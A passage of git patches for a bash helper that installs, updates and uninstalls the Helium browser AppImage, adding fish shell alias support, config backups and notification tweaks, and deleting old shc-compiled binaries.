CONFIRM_REMOVE if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then - rm -rf $INSTALL_PATH - if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then ### CREATE LOOP HERE? - rm $LAUNCHER_PATH/$APP_NAME.desktop - fi + REMOVABLE=("$INSTALL_PATH" "$LAUNCHER_PATH/$APP_NAME.desktop" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME") + echo + for RM_PATH in "${REMOVABLE[@]}" ; do + if [[ -f "$RM_PATH" || -d "$RM_PATH" ]] ; then + echo -e " ${RED}Removing $RM_PATH ...${CRS}" + #rm -rf "$PATH" + fi + done + + shell_check - if [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then - rm $SCRIPT_PATH/$SCRIPT_FILE_NAME - fi + if [ "$ACTIVE_SHELL" == "zsh" ] ; then + if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then + sed -i "/$ALIAS/d" $HOME/.zshrc + fi - if [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then - rm $SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME - fi - - if [ -f "$HOME/.zshrc" ] ; then - sed -i "/$ALIAS/d" $HOME/.zshrc - - elif [ -f "$HOME/.bashrc" ] ; then - sed -i "/$ALIAS/d" $HOME/.bashrc + elif [ "$ACTIVE_SHELL" == "bash" ] ; then + if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then + sed -i "/$ALIAS/d" $HOME/.bashrc + fi fi @@ -534,6 +567,7 @@ while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do a) echo -e "\n ${CYN}Adding alias...${CRS}" + shell_check add_alias exit ;; From 805a80ff8908ed1f033dbe2aba03b6c5709f2ab9 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:03:07 +0100 Subject: [PATCH 068/106] Alias configuration for FISH added --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 948dead..d3d3eb0 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -219,7 +219,7 @@ add_alias() { echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc\n" elif [ "$ACTIVE_SHELL" == "fish" ] ; then - if [ "$(cat $HOME/.config/fish/fish.config | grep "source $ALIAS")" ] ; then + if [ "$(cat $HOME/.config/fish/fish.config | grep "source $HOME/.config/fish/$ALIAS.config")" ] ; then echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.config/fish/fish.config\n" exit fi From e00b22378e250a732b9f0a84fa9e7dc0717bf7c8 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:05:16 +0100 Subject: [PATCH 069/106] Alias configuration for FISH added --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index d3d3eb0..0718138 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -332,7 +332,7 @@ remove_helium() { for RM_PATH in "${REMOVABLE[@]}" ; do if [[ -f "$RM_PATH" || -d "$RM_PATH" ]] ; then echo -e " ${RED}Removing $RM_PATH ...${CRS}" - #rm -rf "$PATH" + rm -rf "$PATH" fi done From f8498fb44fee1145cf543122f94916c3773cbd50 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:07:13 +0100 Subject: [PATCH 070/106] Alias configuration for FISH added --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 0718138..52af4a1 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -332,7 +332,7 @@ remove_helium() { for RM_PATH in "${REMOVABLE[@]}" ; do if [[ -f "$RM_PATH" || -d "$RM_PATH" ]] ; then echo -e " ${RED}Removing $RM_PATH ...${CRS}" - rm -rf "$PATH" + rm -rf "$RM_PATH" fi done From abc1016148c98c61b615f3cceb5728d0703cf69a Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:12:54 +0100 Subject: [PATCH 071/106] Alias configuration for FISH added --- helium_helper.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 52af4a1..4644246 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -219,17 +219,17 @@ add_alias() { echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc\n" elif [ "$ACTIVE_SHELL" == "fish" ] ; then - if [ "$(cat $HOME/.config/fish/fish.config | grep "source $HOME/.config/fish/$ALIAS.config")" ] ; then - echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.config/fish/fish.config\n" + if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then + echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.config/fish/config.fish\n" exit fi - echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.config - echo >> $HOME/.config/fish/$ALIAS.config - echo "function $ALIAS" >> $HOME/.config/fish/$ALIAS.config - echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.config - echo "end" >> $HOME/.config/fish/$ALIAS.config - echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/fish.config - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/fish.config\n" + echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.fish + echo >> $HOME/.config/fish/$ALIAS.fish + echo "function $ALIAS" $HOME/.config/fish/$ALIAS.fish + echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.fish + echo "end" >> $HOME/.config/fish/$ALIAS.fish + echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/$ALIAS.fish + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/$ALIAS.fish\n" else echo -e "\n ${RED}No shell config file found!${CRS}\n" From 1090a4cdd03ed79ee2695626fb81b76ff9f3c094 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:51:06 +0100 Subject: [PATCH 072/106] Alias configuration for FISH added --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 4644246..137acd1 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -228,7 +228,7 @@ add_alias() { echo "function $ALIAS" $HOME/.config/fish/$ALIAS.fish echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.fish echo "end" >> $HOME/.config/fish/$ALIAS.fish - echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/$ALIAS.fish + echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/config.fish echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/$ALIAS.fish\n" else From a88ba7460828157390ff8d1aae36ff17b911ed56 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:55:48 +0100 Subject: [PATCH 073/106] Alias configuration for FISH added --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 137acd1..0ad4c2c 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -225,7 +225,7 @@ add_alias() { fi echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.fish echo >> $HOME/.config/fish/$ALIAS.fish - echo "function $ALIAS" $HOME/.config/fish/$ALIAS.fish + echo "function $ALIAS" $HOME/.config/fish/$ALIAS.fish >> $HOME/.config/fish/$ALIAS.fish echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.fish echo "end" >> $HOME/.config/fish/$ALIAS.fish echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/config.fish From 834f929161af830ab39082d761e0b9bc35227ede Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 17:01:13 +0100 Subject: [PATCH 074/106] Alias configuration for FISH added --- helium_helper.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 0ad4c2c..1d3104f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -225,10 +225,10 @@ add_alias() { fi echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.fish echo >> $HOME/.config/fish/$ALIAS.fish - echo "function $ALIAS" $HOME/.config/fish/$ALIAS.fish >> $HOME/.config/fish/$ALIAS.fish + echo "function $ALIAS" >> $HOME/.config/fish/$ALIAS.fish echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.fish echo "end" >> $HOME/.config/fish/$ALIAS.fish - echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/config.fish + echo "source $HOME/.config/fish/$ALIAS.fish" >> $HOME/.config/fish/config.fish echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/$ALIAS.fish\n" else From cf7d8d009cf9d7906359866314a76600a258e6a7 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 17:07:18 +0100 Subject: [PATCH 075/106] Alias configuration for FISH added --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 1d3104f..bee6a15 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -226,7 +226,7 @@ add_alias() { echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.fish echo >> $HOME/.config/fish/$ALIAS.fish echo "function $ALIAS" >> $HOME/.config/fish/$ALIAS.fish - echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.fish + echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME \$argv" >> $HOME/.config/fish/$ALIAS.fish echo "end" >> $HOME/.config/fish/$ALIAS.fish echo "source $HOME/.config/fish/$ALIAS.fish" >> $HOME/.config/fish/config.fish echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/$ALIAS.fish\n" From 4910932c43246104a8fdfc8aa0c9990adaf35df2 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 17:24:11 +0100 Subject: [PATCH 076/106] FISH config removal process added --- helium_helper.sh | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index bee6a15..d6687c9 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -229,10 +229,11 @@ add_alias() { echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME \$argv" >> $HOME/.config/fish/$ALIAS.fish echo "end" >> $HOME/.config/fish/$ALIAS.fish echo "source $HOME/.config/fish/$ALIAS.fish" >> $HOME/.config/fish/config.fish - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/$ALIAS.fish\n" + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/config.fish\n" else - echo -e "\n ${RED}No shell config file found!${CRS}\n" + echo -e "\n ${LCY}$ACTIVE_SHELL ${RED}not yet supported!${CRS}\n" + echo -e " ${LCY}Working implementation are available for bash, zsh & fish!${CRS}\n" fi } @@ -348,6 +349,12 @@ remove_helium() { sed -i "/$ALIAS/d" $HOME/.bashrc fi + elif [ "$ACTIVE_SHELL" == "fish" ] ; then + if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then + sed -i "/$ALIAS/d" $HOME/.config/fish/config.fish + rm $HOME/.config/fish/$ALIAS.fish + fi + fi echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}\n" @@ -523,7 +530,7 @@ help() { echo -e "Options:\n" echo -e "\t-i\tDownload & install $APP_NAME_LONG from $APP_SOURCE" echo -e "\t-l\tCreate desktop launcher" - echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh & bash${CRS}" + echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $APP_SOURCE" #echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" From c49679dd35bd6beadcd2869c89393f10d50ede96 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 19:15:14 +0100 Subject: [PATCH 077/106] Config Backup added; FISH alias added; FISH alias removal added --- helium_helper.sh | 42 +++++++--------------- helium_launcher_update.sh | 73 ++++++++++++++++++++++----------------- 2 files changed, 53 insertions(+), 62 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index d6687c9..300a1e4 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -48,7 +48,6 @@ cmd_query() { if ! command -v $PACKAGE > /dev/null 2>&1 ; then echo " - $PACKAGE" >> $TMP/missingDeps - fi } @@ -65,7 +64,6 @@ dependency_check () { MISSING=$(cat $TMP/missingDeps) echo -e "\n ${RED}Following dependencies are missing :\n\n${CRS}$MISSING\n\n ${CYN}Please install and re-run script !${CRS}" exit_clean - fi } @@ -98,7 +96,6 @@ local_check() { echo -e "\n ${RED}$APP_NAME_LONG directory found but no executable named ${CYN}$APP_NAME.$FILE_EXTENSION${RED}!${CRS}" install_helium exit - fi } @@ -108,7 +105,6 @@ install_helium() { echo -e "\n ${YEL}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" update_helium exit - fi while true ; do @@ -132,7 +128,6 @@ install_helium() { else echo -e " ${YEL}Invalid response!${CRS}\n" - fi done @@ -180,7 +175,6 @@ add_launcher() { else echo -e " ${YEL}Invalid response!${CRS}\n" - fi done @@ -189,7 +183,6 @@ add_launcher() { echo -e "\n ${RED}$APP_NAME_LONG AppImage not found! Can't add launcher...${CRS}" install_helium exit - fi } @@ -234,7 +227,6 @@ add_alias() { else echo -e "\n ${LCY}$ACTIVE_SHELL ${RED}not yet supported!${CRS}\n" echo -e " ${LCY}Working implementation are available for bash, zsh & fish!${CRS}\n" - fi } @@ -251,7 +243,6 @@ update_helium() { elif [ -z "$LOCAL_VERSION" ] ; then echo -e "\n ${RED}Empty version tag from ${CYN}local AppImage${RED}! Can't compare, exiting...${CRS}" exit - fi ### COMPARE LOCAL & REMOTE VERSION @@ -279,9 +270,16 @@ update_helium() { if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then rm $BACKUP_PATH/$APP_NAME.old fi + if [ -d "$APP_CONFIG_PATH" ] ; then + if [ -f "$BACKUP_PATH/$APP_NAME.config.tar" ] ; then + rm $BACKUP_PATH/$APP_NAME.config.tar + fi + tar -cf $BACKUP_PATH/$APP_NAME.config.tar $APP_CONFIG_PATH > /dev/null 2>&1 + fi mv $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION $BACKUP_PATH/$APP_NAME.old mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old + chmod -x $BACKUP_PATH/*.sh.old $BACKUP_PATH/$APP_NAME.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date !${CRS}\n" break @@ -292,9 +290,7 @@ update_helium() { else echo -e " ${YEL}Invalid response!${CRS}\n" - fi - done else @@ -303,7 +299,6 @@ update_helium() { echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" echo -e " ${RED}Update failed... Exiting...${CRS}\n" exit - fi } @@ -316,7 +311,6 @@ auto_update() { else echo -e "\n ${RED}Not implemented yet...${CRS}" - fi } @@ -330,9 +324,10 @@ remove_helium() { if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then REMOVABLE=("$INSTALL_PATH" "$LAUNCHER_PATH/$APP_NAME.desktop" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME") echo + for RM_PATH in "${REMOVABLE[@]}" ; do if [[ -f "$RM_PATH" || -d "$RM_PATH" ]] ; then - echo -e " ${RED}Removing $RM_PATH ...${CRS}" + echo -e " ${YEL}Removing ${CYN}$RM_PATH ${YEL}...${CRS}" rm -rf "$RM_PATH" fi done @@ -342,19 +337,21 @@ remove_helium() { if [ "$ACTIVE_SHELL" == "zsh" ] ; then if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then sed -i "/$ALIAS/d" $HOME/.zshrc + echo -e "\n ${CYN}$ACTIVE_SHELL ${YEL}alias removed ... ${CRS}" fi elif [ "$ACTIVE_SHELL" == "bash" ] ; then if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then sed -i "/$ALIAS/d" $HOME/.bashrc + echo -e "\n ${CYN}$ACTIVE_SHELL ${YEL}alias removed ... ${CRS}" fi elif [ "$ACTIVE_SHELL" == "fish" ] ; then if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then sed -i "/$ALIAS/d" $HOME/.config/fish/config.fish rm $HOME/.config/fish/$ALIAS.fish + echo -e "\n ${CYN}$ACTIVE_SHELL ${YEL}alias removed ... ${CRS}" fi - fi echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}\n" @@ -366,15 +363,12 @@ remove_helium() { else echo -e " ${YEL}Invalid response!${CRS}\n" - fi - done else echo -e "\n ${RED}Can't remove $APP_NAME_LONG! ${YEL}$INSTALL_PATH ${RED}directory not found...${CRS}" exit - fi } @@ -412,11 +406,8 @@ update_script() { else echo -e " ${YEL}Invalid response!${CRS}\n" - fi - done - fi REMOTE_SCRIPT_VERSION=$(curl -s $REMOTE_SCRIPT_URL | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') @@ -429,7 +420,6 @@ update_script() { elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then echo -e "\n ${RED}Empty version tag from ${CYN}remote script${RED}! Can't compare, exiting...${CRS}" exit - fi ### COMPARE LOCAL & REMOTE VERSION @@ -466,9 +456,7 @@ update_script() { else echo -e " ${YEL}Invalid response!${CRS}\n" - fi - done else @@ -476,7 +464,6 @@ update_script() { echo -e " ${CYN}Local Version :\t${CRS}${SCRIPT_VERSION}" echo -e " ${CYN}Remote Version :\t${CRS}${REMOTE_SCRIPT_VERSION}\n" echo -e " ${RED}Updating script failed...${CRS}\n" - fi } @@ -493,7 +480,6 @@ compare_version() { elif [ -z "$LOCAL_VERSION" ] ; then echo -e "\n ${RED}Empty version tag from ${CYN}local AppImage${RED}! Can't compare, exiting...${CRS}\n" exit - fi ### COMPARE LOCAL & REMOTE VERSION @@ -518,7 +504,6 @@ compare_version() { echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" echo -e " ${RED}Update failed ... Exiting ...${CRS}\n" exit - fi } @@ -548,7 +533,6 @@ help() { exit_clean() { if [ -d "$TMP" ] ; then rm -rf $TMP - fi exit @@ -622,9 +606,7 @@ while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do echo -e "\n${YEL}Option ${RED}$1${YEL} not recognized... Refer to help below!${CRS}" help exit ;; - esac - done ## DEPENDENCY CHECK diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 332d100..2b9f81c 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -11,12 +11,13 @@ FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Launcher Updater" SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.7" +SCRIPT_VERSION="0.5.8" DATE=$(date) ## LOCATIONS TMP=/tmp/$APP_NAME INSTALL_PATH=$HOME/.apps/$APP_NAME +APP_CONFIG_PATH=$HOME/.config/net.imput.helium ASSET_PATH=$INSTALL_PATH/assets BACKUP_PATH=$ASSET_PATH/backup LOG_PATH=$ASSET_PATH/logs @@ -56,27 +57,27 @@ dependency_check () { mkdir -p $LOG_PATH echo "########## $APP_NAME_LONG update log ##########" >> $LOG echo >> $LOG - echo "${DATE} | Log created" >> $LOG + echo "$DATE | Log created" >> $LOG fi if [ -f "$TMP/missingDeps" ] ; then MISSING=$(cat $TMP/missingDeps) - echo "${DATE} | Failed to update - missing dependencies : $MISSING" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" + echo "$DATE | Failed to update - missing dependencies : $MISSING" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Update failed! See log for details" exit_clean fi if ! [ -d "$INSTALL_PATH" ] ; then mkdir -p $INSTALL_PATH - echo "${DATE} | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" + echo "$DATE | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Update failed! See log for details" exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then - echo "${DATE} | Failed to update - Local $APP_NAME AppImage not found" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" + echo "$DATE | Failed to update - Local $APP_NAME AppImage not found" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Update failed! See log for details" exit fi @@ -87,8 +88,8 @@ dependency_check () { update_script() { ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then - echo "${DATE} | Failed to update script - local file not found" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" + echo "$DATE | Failed to update script - local file not found" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" exit fi @@ -97,13 +98,13 @@ update_script() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then - echo "${DATE} | Failed to update script - Empty version tag --> local" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" + echo "$DATE | Failed to update script - Empty version tag --> local" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then - echo "${DATE} | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" + echo "$DATE | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" exit fi @@ -113,7 +114,7 @@ update_script() { REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then - notify-send -i "$ICON" "Helium Helper" "Script is up-to-date" + notify-send --icon="$ICON" --app-name="Helium Helper" "Script is up-to-date" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old @@ -121,13 +122,14 @@ update_script() { wget -P $TMP $REMOTE_SCRIPT_URL -q chmod +x $TMP/$SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH - echo "${DATE} | Script updated to $REMOTE_SCRIPT_VERSION" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Script updated to $REMOTE_SCRIPT_VERSION" + echo "$DATE | Script updated to version $REMOTE_SCRIPT_VERSION" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Script updated to version $REMOTE_SCRIPT_VERSION" else - echo "${DATE} | Failed to update - Malformed version tags" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details\n$REMOTE_SCRIPT_VERSION $SCRIPT_VERSION" - + echo "$DATE | Failed to update - Malformed version tags" >> $LOG + echo "$DATE | Remote Version: $REMOTE_SCRIPT_VERSION" >> $LOG + echo "$DATE | Local Version: $SCRIPT_VERSION" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" fi } @@ -140,13 +142,13 @@ update_helium() { ### CHECK FOR EMPTY VERSION TAGS if [[ -z "$APP_SOURCE_VERSION" ]] ; then - echo "${DATE} | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" + echo "$DATE | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Browser update failed! See log for details" exit elif [[ -z "$LOCAL_VERSION" ]] ; then - echo "${DATE} | Failed to update - Empty version tag --> LOCAL" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" + echo "$DATE | Failed to update - Empty version tag --> LOCAL" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Browser update failed! See log for details" exit fi @@ -156,25 +158,32 @@ update_helium() { APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then - notify-send -i "$ICON" "Helium Helper" "Browser is up-to-date" + notify-send --icon="$ICON" --app-name="Helium Helper" "Browser is up-to-date" elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then mkdir -p $TMP $BACKUP_PATH wget -P $TMP $DOWNLOAD_URL -q --show-progress chmod +x $TMP/$APP_SOURCE_FILENAME - if [ -f "$BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old" ] ; then - rm $BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old + if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then + rm $BACKUP_PATH/$APP_NAME.old + fi + if [ -d "$APP_CONFIG_PATH" ] ; then + if [ -f "$BACKUP_PATH/$APP_NAME.config_*.tar" ] ; then + rm $BACKUP_PATH/$APP_NAME.config_*.tar + fi + tar -cf $BACKUP_PATH/$APP_NAME.config_$(date).tar $APP_CONFIG_PATH > /dev/null 2>&1 fi mv $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION $BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old + chmod -x $BACKUP_PATH/*.sh.old $BACKUP_PATH/$APP_NAME.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop - echo "${DATE} | $APP_NAME updated to ${APP_SOURCE_VERSION}" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Browser updated to $APP_SOURCE_VERSION" + echo "$DATE | $APP_NAME updated to version ${APP_SOURCE_VERSION}" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Browser updated to version $APP_SOURCE_VERSION" else - echo "${DATE} | Failed to update - Version tags malformed" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" + echo "$DATE | Failed to update - Version tags malformed" >> $LOG + notify-send --icon="$ICON" --app-name="Helium Helper" "Browser update failed! See log for details" exit fi @@ -193,7 +202,7 @@ show_log() { xdg-open $LOG else - notify-send -i "$ICON" "Helium Helper" "No log created yet" + notify-send --icon="$ICON" --app-name="Helium Helper" "No log created yet" fi } From 65453aa3ed0a88e328bd666b6dfd88a024a0709c Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 2 Jan 2026 23:24:52 +0100 Subject: [PATCH 078/106] deleted: assets/binaries/helium_helper.sh.x.c deleted: assets/binaries/helium_launcher_update.sh.x.c modified: devdoc.md deleted: launcher-update-helium deleted: update-helium --- assets/binaries/helium_helper.sh.x.c | 2237 ----------------- assets/binaries/helium_launcher_update.sh.x.c | 1262 ---------- devdoc.md | 9 +- launcher-update-helium | Bin 24368 -> 0 bytes update-helium | Bin 39976 -> 0 bytes 5 files changed, 4 insertions(+), 3504 deletions(-) delete mode 100644 assets/binaries/helium_helper.sh.x.c delete mode 100644 assets/binaries/helium_launcher_update.sh.x.c delete mode 100755 launcher-update-helium delete mode 100755 update-helium diff --git a/assets/binaries/helium_helper.sh.x.c b/assets/binaries/helium_helper.sh.x.c deleted file mode 100644 index dfe9c18..0000000 --- a/assets/binaries/helium_helper.sh.x.c +++ /dev/null @@ -1,2237 +0,0 @@ -#if 0 - shc Version 4.0.3, Generic Shell Script Compiler - GNU GPL Version 3 Md Jahidul Hamid - - shc -f helium_helper.sh -o update-helium -#endif - -static char data [] = -#define 